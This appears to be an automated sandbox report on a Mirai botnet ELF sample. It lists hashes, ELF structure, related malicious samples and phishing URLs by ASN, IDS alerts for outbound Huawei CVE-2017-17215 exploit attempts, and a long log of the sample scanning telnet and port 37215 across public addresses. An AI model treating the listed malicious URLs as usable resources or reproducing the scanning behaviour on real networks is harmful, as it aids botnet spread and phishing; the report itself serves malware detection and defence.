	nullnet_load.spc.elf	Get hash	malicious	Mirai	Browse	198.12.107.126
	nullnet_load.arm.elf	Get hash	malicious	Mirai	Browse	198.12.107.126
	nullnet_load.x86_64.elf	Get hash	malicious	Mirai	Browse	198.12.107.126
	nullnet_load.mpsl.elf	Get hash	malicious	Mirai	Browse	198.12.107.126
	nullnet_load.i486.elf	Get hash	malicious	Mirai	Browse	198.12.107.126

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CENTURYLINK-US-LEGACY-QWESTUS	nullnet_load.ppc.elf	Get hash	malicious	Mirai	Browse	71.221.126.204
	nullnet_load.m68k.elf	Get hash	malicious	Mirai	Browse	208.47.200.42
	nullnet_load.spc.elf	Get hash	malicious	Mirai	Browse	63.155.124.96
	nullnet_load.i486.elf	Get hash	malicious	Mirai	Browse	63.231.153.149
	mpsl.elf	Get hash	malicious	Mirai	Browse	75.172.178.61
	arm6.elf	Get hash	malicious	Unknown	Browse	75.172.178.47
	https://send-space.s3.eu-north-1.amazonaws.com/de.html	Get hash	malicious	Unknown	Browse	162.19.138.119
	https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	162.19.58.157
	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse	162.19.224.121
	https://webdemo.biz/	Get hash	malicious	NetSupport RAT, CAPTCHA Scam	Browse	162.19.58.159
SpectranetNG	nullnet_load.x86_64.elf	Get hash	malicious	Mirai	Browse	41.217.127.141
	nullnet_load.i486.elf	Get hash	malicious	Mirai	Browse	41.217.127.149
	nullnet_load.x86.elf	Get hash	malicious	Mirai	Browse	41.217.127.113
	gmpsl.elf	Get hash	malicious	Mirai	Browse	41.217.127.112
	nmpsl.elf	Get hash	malicious	Mirai	Browse	41.217.127.158
	tel.x86.elf	Get hash	malicious	Mirai	Browse	41.217.127.152
	tel.arm.elf	Get hash	malicious	Mirai	Browse	41.217.104.33
	garm5.elf	Get hash	malicious	Mirai	Browse	41.217.127.121
	gppc.elf	Get hash	malicious	Mirai	Browse	41.217.127.198
	harm6.elf	Get hash	malicious	Mirai	Browse	41.217.104.23
VODACOM-ZA	nullnet_load.ppc.elf	Get hash	malicious	Mirai	Browse	156.141.254.195
	nullnet_load.mips.elf	Get hash	malicious	Mirai	Browse	41.10.179.254
	nullnet_load.sh4.elf	Get hash	malicious	Mirai	Browse	41.26.72.114
	nullnet_load.arm7.elf	Get hash	malicious	Mirai	Browse	41.19.112.101
	nullnet_load.m68k.elf	Get hash	malicious	Mirai	Browse	156.22.182.61
	nullnet_load.spc.elf	Get hash	malicious	Mirai	Browse	156.64.16.155
	nullnet_load.arm.elf	Get hash	malicious	Mirai	Browse	156.24.119.3
	nullnet_load.x86_64.elf	Get hash	malicious	Mirai	Browse	156.2.60.196
	nullnet_load.mpsl.elf	Get hash	malicious	Mirai	Browse	156.130.0.72
	nullnet_load.i486.elf	Get hash	malicious	Mirai	Browse	41.14.214.94
SAIX-NETZA	nullnet_load.mips.elf	Get hash	malicious	Mirai	Browse	41.150.35.117
	nullnet_load.sh4.elf	Get hash	malicious	Mirai	Browse	41.198.64.122
	nullnet_load.m68k.elf	Get hash	malicious	Mirai	Browse	197.236.139.1
	nullnet_load.spc.elf	Get hash	malicious	Mirai	Browse	41.246.44.7
	nullnet_load.x86_64.elf	Get hash	malicious	Mirai	Browse	41.151.218.241
	nullnet_load.i486.elf	Get hash	malicious	Mirai	Browse	41.145.120.199
	nullnet_load.x86.elf	Get hash	malicious	Mirai	Browse	197.236.139.6
	x86.elf	Get hash	malicious	Mirai	Browse	41.145.255.160
	belks.spc.elf	Get hash	malicious	Mirai	Browse	41.247.238.22
	mips.elf	Get hash	malicious	Mirai	Browse	41.149.186.160

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.209604602546338
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	nullnet_load.i686.elf
File size:	83'696 bytes
MD5:	f0ff93dfdac1e494b6949986ed6c6312
SHA1:	fd026d9bb81efa6e10dc24d77e4043f7869159e7
SHA256:	cf31293241ec621ee0a248bb26ef60bfa3e77c892ad41ee4463c368867a2990f
SHA512:	0853b8d085126d2f1ec9f6aa8bb2b7a9273204b6c9eb11bbed666ef3ed5a0a18f420ae815580aa95fa0139b8e4d76ce0770497026d9d74e1a433ecb7a2323c9a
SSDEEP:	1536:BxdeVSDsgyIuj3QMAwdTsymavw1KfW9VAYKYWoHkeTU2Egt:BXWgRuj3Wwhm/KfOA1YWOZQ
TLSH:	F783F881F8C741F5C417493460ABF33FCA32E57A80719BADEF999F26DA27602911329D
File Content Preview:	.ELF....................h...4...`E......4. ...(......................C...C...............C..........\...............Q.td............................U..S.......;S...h....s0..[]...$.............U......= ....t..1...................u........t...$........... .

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048168
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	83296
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0x130a1	0x0	0x6	AX	16
.fini	PROGBITS	0x805b151	0x13151	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x805b180	0x13180	0x1240	0x0	0x2	A	32
.ctors	PROGBITS	0x805d3c4	0x143c4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x805d3cc	0x143cc	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x805d400	0x14400	0x120	0x0	0x3	WA	32
.bss	NOBITS	0x805d520	0x14520	0x840	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x14520	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x143c0	0x143c0	6.2226	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0x143c4	0x805d3c4	0x805d3c4	0x15c	0x99c	4.2938	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-03T15:37:19.163139+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56664	41.1.26.153	37215	TCP
2024-11-03T15:37:19.206602+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52260	197.170.70.85	37215	TCP
2024-11-03T15:37:20.180584+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50894	197.213.145.152	37215	TCP
2024-11-03T15:37:20.228528+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56556	156.43.89.130	37215	TCP
2024-11-03T15:37:21.223982+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38276	156.245.81.105	37215	TCP
2024-11-03T15:37:21.241842+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34264	197.163.58.45	37215	TCP
2024-11-03T15:37:21.261079+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43074	41.155.208.66	37215	TCP
2024-11-03T15:37:21.287260+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59694	41.89.33.112	37215	TCP
2024-11-03T15:37:24.077789+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48946	197.144.190.215	37215	TCP
2024-11-03T15:37:24.090647+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42672	197.168.207.218	37215	TCP
2024-11-03T15:37:26.097730+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47912	197.16.70.251	37215	TCP
2024-11-03T15:37:26.099982+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51862	156.97.250.9	37215	TCP
2024-11-03T15:37:26.107369+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51816	197.224.117.44	37215	TCP
2024-11-03T15:37:26.110104+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39952	197.90.159.24	37215	TCP
2024-11-03T15:37:26.123003+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40914	197.188.33.13	37215	TCP
2024-11-03T15:37:26.128032+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54480	41.247.170.119	37215	TCP
2024-11-03T15:37:26.135432+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56290	156.112.101.146	37215	TCP
2024-11-03T15:37:26.135435+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42402	41.161.10.54	37215	TCP
2024-11-03T15:37:28.136954+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44784	156.166.164.0	37215	TCP
2024-11-03T15:37:28.155320+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39338	41.104.134.176	37215	TCP
2024-11-03T15:37:28.218578+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42528	156.224.31.241	37215	TCP
2024-11-03T15:37:30.271793+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39920	156.8.251.171	37215	TCP
2024-11-03T15:37:31.236726+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38392	41.164.143.38	37215	TCP
2024-11-03T15:37:33.236398+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36308	197.248.4.148	37215	TCP
2024-11-03T15:37:33.244668+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37008	156.184.248.133	37215	TCP
2024-11-03T15:37:33.252378+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48490	41.121.176.100	37215	TCP
2024-11-03T15:37:36.611305+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53162	197.146.19.64	37215	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 3, 2024 15:37:07.448978901 CET	36201	2323	192.168.2.14	1.12.84.67
Nov 3, 2024 15:37:07.448987007 CET	36201	23	192.168.2.14	107.119.15.67
Nov 3, 2024 15:37:07.448990107 CET	36201	23	192.168.2.14	160.89.255.184
Nov 3, 2024 15:37:07.449006081 CET	36201	23	192.168.2.14	142.128.214.133
Nov 3, 2024 15:37:07.449006081 CET	36201	23	192.168.2.14	151.114.53.151
Nov 3, 2024 15:37:07.449007988 CET	36201	23	192.168.2.14	181.52.98.68
Nov 3, 2024 15:37:07.449009895 CET	36201	23	192.168.2.14	73.99.18.24
Nov 3, 2024 15:37:07.449018002 CET	36201	23	192.168.2.14	179.64.170.171
Nov 3, 2024 15:37:07.449024916 CET	36201	23	192.168.2.14	205.217.233.80
Nov 3, 2024 15:37:07.449026108 CET	36201	23	192.168.2.14	211.143.98.145
Nov 3, 2024 15:37:07.449031115 CET	36201	2323	192.168.2.14	184.146.6.31
Nov 3, 2024 15:37:07.449044943 CET	36201	23	192.168.2.14	159.37.133.208
Nov 3, 2024 15:37:07.449048996 CET	36201	23	192.168.2.14	158.34.240.117
Nov 3, 2024 15:37:07.449048996 CET	36201	23	192.168.2.14	69.81.122.152
Nov 3, 2024 15:37:07.449050903 CET	36201	23	192.168.2.14	108.3.230.119
Nov 3, 2024 15:37:07.449065924 CET	36201	23	192.168.2.14	126.33.229.198
Nov 3, 2024 15:37:07.449064970 CET	36201	23	192.168.2.14	167.176.177.179
Nov 3, 2024 15:37:07.449064970 CET	36201	23	192.168.2.14	5.71.100.114
Nov 3, 2024 15:37:07.449069977 CET	36201	23	192.168.2.14	14.65.113.88
Nov 3, 2024 15:37:07.449088097 CET	36201	23	192.168.2.14	114.132.2.196
Nov 3, 2024 15:37:07.449103117 CET	36201	23	192.168.2.14	158.253.61.118
Nov 3, 2024 15:37:07.449103117 CET	36201	23	192.168.2.14	154.32.50.30
Nov 3, 2024 15:37:07.449104071 CET	36201	23	192.168.2.14	18.29.13.143
Nov 3, 2024 15:37:07.449105978 CET	36201	2323	192.168.2.14	2.242.225.206
Nov 3, 2024 15:37:07.449105978 CET	36201	23	192.168.2.14	211.194.75.181
Nov 3, 2024 15:37:07.449116945 CET	36201	23	192.168.2.14	71.134.193.73
Nov 3, 2024 15:37:07.449120998 CET	36201	23	192.168.2.14	47.253.35.131
Nov 3, 2024 15:37:07.449121952 CET	36201	23	192.168.2.14	27.253.80.216
Nov 3, 2024 15:37:07.449131966 CET	36201	23	192.168.2.14	187.103.207.15
Nov 3, 2024 15:37:07.449135065 CET	36201	23	192.168.2.14	158.59.156.239
Nov 3, 2024 15:37:07.449142933 CET	36201	23	192.168.2.14	92.244.50.65
Nov 3, 2024 15:37:07.449142933 CET	36201	23	192.168.2.14	19.21.233.59
Nov 3, 2024 15:37:07.449146986 CET	36201	2323	192.168.2.14	124.199.53.187
Nov 3, 2024 15:37:07.449158907 CET	36201	23	192.168.2.14	95.7.248.48
Nov 3, 2024 15:37:07.449161053 CET	36201	23	192.168.2.14	147.167.150.68
Nov 3, 2024 15:37:07.449161053 CET	36201	23	192.168.2.14	220.175.15.213
Nov 3, 2024 15:37:07.449167967 CET	36201	23	192.168.2.14	223.189.226.43
Nov 3, 2024 15:37:07.449176073 CET	36201	23	192.168.2.14	188.106.7.94
Nov 3, 2024 15:37:07.449186087 CET	36201	23	192.168.2.14	57.65.200.63
Nov 3, 2024 15:37:07.449192047 CET	36201	23	192.168.2.14	195.40.216.94
Nov 3, 2024 15:37:07.449206114 CET	36201	23	192.168.2.14	110.104.107.135
Nov 3, 2024 15:37:07.449206114 CET	36201	23	192.168.2.14	217.133.166.36
Nov 3, 2024 15:37:07.449208021 CET	36201	2323	192.168.2.14	42.44.11.242
Nov 3, 2024 15:37:07.449208021 CET	36201	23	192.168.2.14	62.98.53.29
Nov 3, 2024 15:37:07.449222088 CET	36201	23	192.168.2.14	193.225.59.23
Nov 3, 2024 15:37:07.449223995 CET	36201	23	192.168.2.14	48.53.153.29
Nov 3, 2024 15:37:07.449223995 CET	36201	23	192.168.2.14	4.246.132.96
Nov 3, 2024 15:37:07.449237108 CET	36201	23	192.168.2.14	144.24.164.98
Nov 3, 2024 15:37:07.449240923 CET	36201	23	192.168.2.14	35.107.7.74
Nov 3, 2024 15:37:07.449245930 CET	36201	23	192.168.2.14	186.158.159.146
Nov 3, 2024 15:37:07.449250937 CET	36201	2323	192.168.2.14	173.123.4.216
Nov 3, 2024 15:37:07.449261904 CET	36201	23	192.168.2.14	104.70.203.187
Nov 3, 2024 15:37:07.449259996 CET	36201	23	192.168.2.14	37.47.89.15
Nov 3, 2024 15:37:07.449259996 CET	36201	23	192.168.2.14	156.65.37.226
Nov 3, 2024 15:37:07.449265003 CET	36201	23	192.168.2.14	158.98.248.155
Nov 3, 2024 15:37:07.449265003 CET	36201	23	192.168.2.14	101.46.247.29
Nov 3, 2024 15:37:07.449265003 CET	36201	23	192.168.2.14	125.253.59.164
Nov 3, 2024 15:37:07.449274063 CET	36201	23	192.168.2.14	77.107.154.14
Nov 3, 2024 15:37:07.449275970 CET	36201	23	192.168.2.14	89.178.158.237
Nov 3, 2024 15:37:07.449279070 CET	36201	23	192.168.2.14	167.166.144.245
Nov 3, 2024 15:37:07.449279070 CET	36201	2323	192.168.2.14	98.140.174.214
Nov 3, 2024 15:37:07.449300051 CET	36201	23	192.168.2.14	34.92.143.149
Nov 3, 2024 15:37:07.449301004 CET	36201	23	192.168.2.14	194.211.140.76
Nov 3, 2024 15:37:07.449300051 CET	36201	23	192.168.2.14	220.201.163.92
Nov 3, 2024 15:37:07.449311018 CET	36201	23	192.168.2.14	34.114.183.65
Nov 3, 2024 15:37:07.449315071 CET	36201	23	192.168.2.14	193.35.112.167
Nov 3, 2024 15:37:07.449320078 CET	36201	23	192.168.2.14	48.166.71.75
Nov 3, 2024 15:37:07.449333906 CET	36201	23	192.168.2.14	149.96.22.119
Nov 3, 2024 15:37:07.449337959 CET	36201	23	192.168.2.14	213.78.197.207
Nov 3, 2024 15:37:07.449341059 CET	36201	23	192.168.2.14	177.104.152.31
Nov 3, 2024 15:37:07.449352980 CET	36201	23	192.168.2.14	204.30.145.134
Nov 3, 2024 15:37:07.449353933 CET	36201	2323	192.168.2.14	176.239.168.154
Nov 3, 2024 15:37:07.449359894 CET	36201	23	192.168.2.14	97.181.70.209
Nov 3, 2024 15:37:07.449359894 CET	36201	23	192.168.2.14	93.77.214.197
Nov 3, 2024 15:37:07.449361086 CET	36201	23	192.168.2.14	217.172.159.38
Nov 3, 2024 15:37:07.449361086 CET	36201	23	192.168.2.14	102.73.14.35
Nov 3, 2024 15:37:07.449368954 CET	36201	23	192.168.2.14	190.15.21.214
Nov 3, 2024 15:37:07.449368954 CET	36201	2323	192.168.2.14	123.238.12.9
Nov 3, 2024 15:37:07.449374914 CET	36201	23	192.168.2.14	19.66.87.102
Nov 3, 2024 15:37:07.449374914 CET	36201	23	192.168.2.14	111.32.97.128
Nov 3, 2024 15:37:07.449374914 CET	36201	23	192.168.2.14	113.166.236.48
Nov 3, 2024 15:37:07.449374914 CET	36201	23	192.168.2.14	53.179.182.227
Nov 3, 2024 15:37:07.449376106 CET	36201	23	192.168.2.14	46.111.118.134
Nov 3, 2024 15:37:07.449376106 CET	36201	23	192.168.2.14	113.146.176.7
Nov 3, 2024 15:37:07.449378967 CET	36201	23	192.168.2.14	72.148.227.215
Nov 3, 2024 15:37:07.449389935 CET	36201	23	192.168.2.14	40.202.230.225
Nov 3, 2024 15:37:07.449400902 CET	36201	23	192.168.2.14	198.149.119.126
Nov 3, 2024 15:37:07.449410915 CET	36201	23	192.168.2.14	117.187.252.252
Nov 3, 2024 15:37:07.449414015 CET	36201	23	192.168.2.14	189.9.147.99
Nov 3, 2024 15:37:07.449424028 CET	36201	23	192.168.2.14	53.6.227.181
Nov 3, 2024 15:37:07.449424028 CET	36201	23	192.168.2.14	216.154.32.150
Nov 3, 2024 15:37:07.449424982 CET	36201	2323	192.168.2.14	211.187.163.172
Nov 3, 2024 15:37:07.449424982 CET	36201	23	192.168.2.14	83.75.122.68
Nov 3, 2024 15:37:07.449440002 CET	36201	23	192.168.2.14	163.66.150.50
Nov 3, 2024 15:37:07.449440002 CET	36201	23	192.168.2.14	194.111.203.19
Nov 3, 2024 15:37:07.449444056 CET	36201	23	192.168.2.14	200.73.4.192
Nov 3, 2024 15:37:07.449448109 CET	36201	23	192.168.2.14	182.18.189.14
Nov 3, 2024 15:37:07.449449062 CET	36201	23	192.168.2.14	94.211.102.37
Nov 3, 2024 15:37:07.449451923 CET	36201	23	192.168.2.14	158.111.45.20
Nov 3, 2024 15:37:07.449451923 CET	36201	23	192.168.2.14	192.101.222.212
Nov 3, 2024 15:37:07.449465036 CET	36201	23	192.168.2.14	76.151.198.48
Nov 3, 2024 15:37:07.449467897 CET	36201	2323	192.168.2.14	40.29.69.57
Nov 3, 2024 15:37:07.449476957 CET	36201	23	192.168.2.14	112.36.219.79
Nov 3, 2024 15:37:07.449486017 CET	36201	23	192.168.2.14	133.246.198.193
Nov 3, 2024 15:37:07.449489117 CET	36201	23	192.168.2.14	17.161.80.63
Nov 3, 2024 15:37:07.449500084 CET	36201	23	192.168.2.14	220.79.181.27
Nov 3, 2024 15:37:07.449500084 CET	36201	23	192.168.2.14	58.180.112.255
Nov 3, 2024 15:37:07.449502945 CET	36201	23	192.168.2.14	14.48.137.200
Nov 3, 2024 15:37:07.449507952 CET	36201	23	192.168.2.14	46.254.41.21
Nov 3, 2024 15:37:07.449517965 CET	36201	2323	192.168.2.14	111.189.209.189
Nov 3, 2024 15:37:07.449517965 CET	36201	23	192.168.2.14	12.229.181.141
Nov 3, 2024 15:37:07.449522018 CET	36201	23	192.168.2.14	86.153.95.87
Nov 3, 2024 15:37:07.449527979 CET	36201	23	192.168.2.14	70.41.158.155
Nov 3, 2024 15:37:07.449529886 CET	36201	23	192.168.2.14	4.236.6.211
Nov 3, 2024 15:37:07.449536085 CET	36201	23	192.168.2.14	2.90.198.234
Nov 3, 2024 15:37:07.449536085 CET	36201	23	192.168.2.14	200.43.66.135
Nov 3, 2024 15:37:07.449537992 CET	36201	23	192.168.2.14	95.95.105.118
Nov 3, 2024 15:37:07.449543953 CET	36201	23	192.168.2.14	59.73.242.243
Nov 3, 2024 15:37:07.449551105 CET	36201	23	192.168.2.14	154.146.183.93
Nov 3, 2024 15:37:07.449551105 CET	36201	23	192.168.2.14	54.121.110.247
Nov 3, 2024 15:37:07.449558020 CET	36201	23	192.168.2.14	14.84.132.26
Nov 3, 2024 15:37:07.449561119 CET	36201	2323	192.168.2.14	204.135.188.133
Nov 3, 2024 15:37:07.449562073 CET	36201	23	192.168.2.14	190.101.205.167
Nov 3, 2024 15:37:07.449563026 CET	36201	23	192.168.2.14	91.194.136.78
Nov 3, 2024 15:37:07.449574947 CET	36201	23	192.168.2.14	115.213.254.52
Nov 3, 2024 15:37:07.449587107 CET	36201	23	192.168.2.14	65.106.77.236
Nov 3, 2024 15:37:07.449589014 CET	36201	23	192.168.2.14	58.248.159.67
Nov 3, 2024 15:37:07.449589014 CET	36201	23	192.168.2.14	173.218.83.78
Nov 3, 2024 15:37:07.449592113 CET	36201	23	192.168.2.14	194.195.119.223
Nov 3, 2024 15:37:07.449606895 CET	36201	2323	192.168.2.14	159.80.6.162
Nov 3, 2024 15:37:07.449610949 CET	36201	23	192.168.2.14	212.23.47.106
Nov 3, 2024 15:37:07.449610949 CET	36201	23	192.168.2.14	152.96.45.200
Nov 3, 2024 15:37:07.449610949 CET	36201	23	192.168.2.14	32.219.38.195
Nov 3, 2024 15:37:07.449610949 CET	36201	23	192.168.2.14	118.151.123.186
Nov 3, 2024 15:37:07.449615955 CET	36201	23	192.168.2.14	181.57.97.187
Nov 3, 2024 15:37:07.449626923 CET	36201	23	192.168.2.14	72.183.139.232
Nov 3, 2024 15:37:07.449629068 CET	36201	23	192.168.2.14	89.60.63.185
Nov 3, 2024 15:37:07.449630022 CET	36201	23	192.168.2.14	105.198.167.31
Nov 3, 2024 15:37:07.449644089 CET	36201	23	192.168.2.14	100.9.209.250
Nov 3, 2024 15:37:07.449647903 CET	36201	23	192.168.2.14	20.214.207.224
Nov 3, 2024 15:37:07.449652910 CET	36201	2323	192.168.2.14	163.83.133.73
Nov 3, 2024 15:37:07.449661016 CET	36201	23	192.168.2.14	101.79.82.126
Nov 3, 2024 15:37:07.449662924 CET	36201	23	192.168.2.14	65.237.72.187
Nov 3, 2024 15:37:07.449676991 CET	36201	23	192.168.2.14	154.25.172.18
Nov 3, 2024 15:37:07.449695110 CET	36201	23	192.168.2.14	95.153.21.152
Nov 3, 2024 15:37:07.449696064 CET	36201	23	192.168.2.14	58.241.138.197
Nov 3, 2024 15:37:07.449697971 CET	36201	23	192.168.2.14	148.199.219.20
Nov 3, 2024 15:37:07.449707031 CET	36201	23	192.168.2.14	89.197.120.39
Nov 3, 2024 15:37:07.449722052 CET	36201	23	192.168.2.14	159.220.192.242
Nov 3, 2024 15:37:07.449723959 CET	36201	23	192.168.2.14	211.136.162.150
Nov 3, 2024 15:37:07.449723959 CET	36201	2323	192.168.2.14	59.72.168.138
Nov 3, 2024 15:37:07.449723959 CET	36201	23	192.168.2.14	114.142.137.241
Nov 3, 2024 15:37:07.449723959 CET	36201	23	192.168.2.14	43.106.129.20
Nov 3, 2024 15:37:07.449731112 CET	36201	23	192.168.2.14	159.125.225.14
Nov 3, 2024 15:37:07.449733019 CET	36201	23	192.168.2.14	38.108.244.68
Nov 3, 2024 15:37:07.449733973 CET	36201	23	192.168.2.14	212.39.87.110
Nov 3, 2024 15:37:07.449747086 CET	36201	23	192.168.2.14	180.142.61.29
Nov 3, 2024 15:37:07.449749947 CET	36201	23	192.168.2.14	169.129.110.153
Nov 3, 2024 15:37:07.449752092 CET	36201	23	192.168.2.14	108.21.221.105
Nov 3, 2024 15:37:07.449753046 CET	36201	23	192.168.2.14	207.214.225.81
Nov 3, 2024 15:37:07.452500105 CET	35945	37215	192.168.2.14	197.127.15.67
Nov 3, 2024 15:37:07.452501059 CET	35945	37215	192.168.2.14	156.201.202.122
Nov 3, 2024 15:37:07.452502012 CET	35945	37215	192.168.2.14	197.4.84.67
Nov 3, 2024 15:37:07.452506065 CET	35945	37215	192.168.2.14	41.118.32.70
Nov 3, 2024 15:37:07.452506065 CET	35945	37215	192.168.2.14	197.43.82.24
Nov 3, 2024 15:37:07.452517033 CET	35945	37215	192.168.2.14	197.152.148.149
Nov 3, 2024 15:37:07.452523947 CET	35945	37215	192.168.2.14	197.74.243.23
Nov 3, 2024 15:37:07.452537060 CET	35945	37215	192.168.2.14	156.178.245.151
Nov 3, 2024 15:37:07.452538967 CET	35945	37215	192.168.2.14	156.91.171.80
Nov 3, 2024 15:37:07.452548027 CET	35945	37215	192.168.2.14	41.218.80.154
Nov 3, 2024 15:37:07.452552080 CET	35945	37215	192.168.2.14	197.65.19.126
Nov 3, 2024 15:37:07.452552080 CET	35945	37215	192.168.2.14	197.74.114.107
Nov 3, 2024 15:37:07.452562094 CET	35945	37215	192.168.2.14	41.1.26.153
Nov 3, 2024 15:37:07.452562094 CET	35945	37215	192.168.2.14	197.106.166.153
Nov 3, 2024 15:37:07.452569962 CET	35945	37215	192.168.2.14	197.34.76.106
Nov 3, 2024 15:37:07.452570915 CET	35945	37215	192.168.2.14	41.158.151.80
Nov 3, 2024 15:37:07.452583075 CET	35945	37215	192.168.2.14	156.21.7.201
Nov 3, 2024 15:37:07.452583075 CET	35945	37215	192.168.2.14	156.175.54.142
Nov 3, 2024 15:37:07.452588081 CET	35945	37215	192.168.2.14	197.147.132.168
Nov 3, 2024 15:37:07.452603102 CET	35945	37215	192.168.2.14	197.31.149.169
Nov 3, 2024 15:37:07.452619076 CET	35945	37215	192.168.2.14	41.233.248.58
Nov 3, 2024 15:37:07.452625990 CET	35945	37215	192.168.2.14	41.191.196.11
Nov 3, 2024 15:37:07.452641010 CET	35945	37215	192.168.2.14	156.108.194.67
Nov 3, 2024 15:37:07.452650070 CET	35945	37215	192.168.2.14	41.127.161.90
Nov 3, 2024 15:37:07.452661037 CET	35945	37215	192.168.2.14	41.204.27.199
Nov 3, 2024 15:37:07.452661991 CET	35945	37215	192.168.2.14	156.130.214.19
Nov 3, 2024 15:37:07.452661991 CET	35945	37215	192.168.2.14	41.179.185.245
Nov 3, 2024 15:37:07.452667952 CET	35945	37215	192.168.2.14	197.183.22.28
Nov 3, 2024 15:37:07.452677965 CET	35945	37215	192.168.2.14	197.254.17.218
Nov 3, 2024 15:37:07.452687025 CET	35945	37215	192.168.2.14	197.213.145.152
Nov 3, 2024 15:37:07.453501940 CET	35945	37215	192.168.2.14	156.103.148.132
Nov 3, 2024 15:37:07.453501940 CET	35945	37215	192.168.2.14	41.210.242.120
Nov 3, 2024 15:37:07.453501940 CET	35945	37215	192.168.2.14	156.1.250.39
Nov 3, 2024 15:37:07.453514099 CET	35945	37215	192.168.2.14	156.135.37.168
Nov 3, 2024 15:37:07.453514099 CET	35945	37215	192.168.2.14	41.22.109.55
Nov 3, 2024 15:37:07.453514099 CET	35945	37215	192.168.2.14	156.10.11.88
Nov 3, 2024 15:37:07.453516006 CET	35945	37215	192.168.2.14	197.108.23.217
Nov 3, 2024 15:37:07.453519106 CET	35945	37215	192.168.2.14	197.204.14.128
Nov 3, 2024 15:37:07.453525066 CET	35945	37215	192.168.2.14	197.156.27.154
Nov 3, 2024 15:37:07.453536987 CET	35945	37215	192.168.2.14	197.226.142.141
